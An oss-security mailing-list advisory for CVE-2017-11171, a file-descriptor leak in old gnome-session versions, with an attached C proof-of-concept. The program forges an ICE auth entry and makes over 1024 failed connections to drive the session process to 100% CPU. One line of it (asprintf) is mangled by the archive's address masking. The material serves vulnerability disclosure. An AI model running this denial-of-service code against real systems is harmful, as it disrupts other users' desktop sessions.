Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [day] [month] [year] [list]
Date: Wed, 12 Jul 2017 10:43:50 +0200
From: Matthias Gerstner <mgerstner@...e.de>
To: oss-security@...ts.openwall.com
Subject: CVE-2017-11171: gnome-session: Bad reference counting in the context
 of accept_ice_connection() in gsm-xsmp-server.c

Affected package: gnome-session
Affected versions: < 2.29.92

Bad reference counting in the context of accept_ice_connection() in
gsm-xsmp-server.c in old versions of gnome-session up until version
2.29.92 allows a local attacker to establish ICE connections to
gnome-session with invalid authentication data (an invalid magic
cookie). Each failed authentication attempt will leak a file descriptor
in gnome-session.

When the maximum number of file descriptors is exhausted in the
gnome-session process, it will enter an infinite loop trying to
communicate without success, consuming 100% of the CPU. The graphical
session associated with the gnome-session process will stop working
correctly, because communication with gnome-session is no longer
possible.

This was fixed with the following commit:

https://github.com/GNOME/gnome-session/commit/b0dc999e0b45355314616321dbb6cb71e729fc9d

The problem seems to be that upon connection establishment
gms_store_add() is called, but not gsm_store_remove(), even if the
authentication of the ICE connection fails.

You can find a proof of concept program attached.

References:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11171
https://bugzilla.suse.com/show_bug.cgi?id=1048274

Regards

Matthias

-- 
Matthias Gerstner <matthias.gerstner@...e.de>
Dipl.-Wirtsch.-Inf. (FH), Security Engineer
https://www.suse.com/security
Telefon: +49 911 740 53 290

SUSE Linux GmbH 
GF: Felix Imendörffer, Jane Smithard, Graham Norton
HRB 21284 (AG Nuernberg)

/*
 2017 - SUSE Linux GmbH, Matthias Gerstner

 based on the PoC for CVE-2017-2626 from:

	 2017 - X41 D-Sec GmbH, Eric Sesterhenn

	 Not for commercial usage.

	 Author: Eric Sesterhenn <eric.sesterhenn@...-dsec.de>

	 PoC DoS against a file descriptor / memory leak in gnome-session

 Author: Matthias Gerstner <mgerstner@...e.com>

 gnome-session until version 2.29.92 contained a file descriptor leak upon
 failed ICE connection authentications. It was fixed as a side effect of this
 commit in version 2.29.92:

 https://github.com/GNOME/gnome-session/commit/b0dc999e0b45355314616321dbb6cb71e729fc9d

 When the leak is present then the DoS is easily and quickly performed. Once
 all 1024 file descriptors are spent, the gnome-session process runs at 100 %
 CPU load trying to continue communication, but no more file descriptors can
 be opened. This breaks any further communication with gnome-session and thus
 the gnome desktop session becomes partly unusable.

 This worked for me on SUSE Enterprise Linux 11 SP4. You need to have some
 local user logged in in gdm. This PoC can be run by any other user.

 Compile like this:

 gcc -oice_dos ice_dos.c -g -O2 -lICE

 Run like this:

 ./ice_dos /tmp/.ICE-unix/1234

 You need to select the UNIX socket that is matching your logged in user's
 gnome session for the PoC to work.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dirent.h>
#include <X11/ICE/ICElib.h>
#include <X11/ICE/ICEmsg.h>
#include <X11/ICE/ICEproto.h>
#include <X11/ICE/ICEutil.h>
#include <stdio.h>

int main(int argc, char **argv) {
	IceConn iceConn;
	char *ids = NULL;
	char *hostname = malloc(HOST_NAME_MAX);
	int PMopcode;
	const int error_length = 100;
	char *error_string = malloc(error_length);
	int _SmcOpcode = 1;
	const char *file = argv[1];
	char authdata[16];
	int i;
	FILE *authFile;
	IceAuthFileEntry auth;

	if (!error_string)
	{
		perror("no memory");
		return 2;
	}

	IcePoVersionRec versions[] = {
		{1, 0, NULL}
	};
	int version_count = 1;
	char *auth_names[] = {"MIT-MAGIC-COOKIE-1"};
	IcePoAuthProc auth_procs[] = {NULL};
	int auth_count = 1;

	if( argc != 2 )
	{
		printf("Expected path to /tmp/.ICE-unix/<socket>\n");
		return 1;
	}

	PMopcode = IceRegisterForProtocolSetup(
		"XSMP",
		"gnome-session", "3.14.0",
		version_count, versions,
		auth_count, auth_names, auth_procs, NULL
	);

	if (PMopcode < 0) {
		exit(PMopcode);
	}

	if( gethostname(hostname, HOST_NAME_MAX) != 0 )
	{
		perror("couldn't get hostname");
		return 1;
	}

	asprintf(&ids, "local/%s:@..., hostname, file);
	if (!ids){ perror("no memory"); }

	printf("Trying connection %s\n", ids);

	/*
	 * simply authenticate unsuccessfully more than 1024 times to cause
	 * DoS of gnome-session.
	 */

	auth.protocol_name = "ICE";
	auth.protocol_data = 0;
	auth.protocol_data_length = 0;
	auth.network_id = ids;
	auth.auth_name = "MIT-MAGIC-COOKIE-1";
	auth.auth_data = authdata;
	auth.auth_data_length = 16;
	authFile = fopen(IceAuthFileName(), "w+");
	if (!IceWriteAuthFileEntry(authFile, &auth))
	{
		exit(-1);
	}
	fclose(authFile);

	for (i = 0; i < 1025; i++)
	{
		iceConn = IceOpenConnection(
			ids, NULL, 0, _SmcOpcode, error_length, error_string
		);

		if (iceConn) {
			printf("Connection opened unexpectedly\n");
			return 0;
		}
		else
		{
			printf("%d: Failed: %s\n", i, error_string);
		}
	}

	free(error_string);
	free(hostname);
	printf("Failed to DoS\n");
	return 3;
}


[ CONTENT OF TYPE application/pgp-signature SKIPPED ]

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Powered by Openwall GNU/*/Linux - Powered by OpenVZ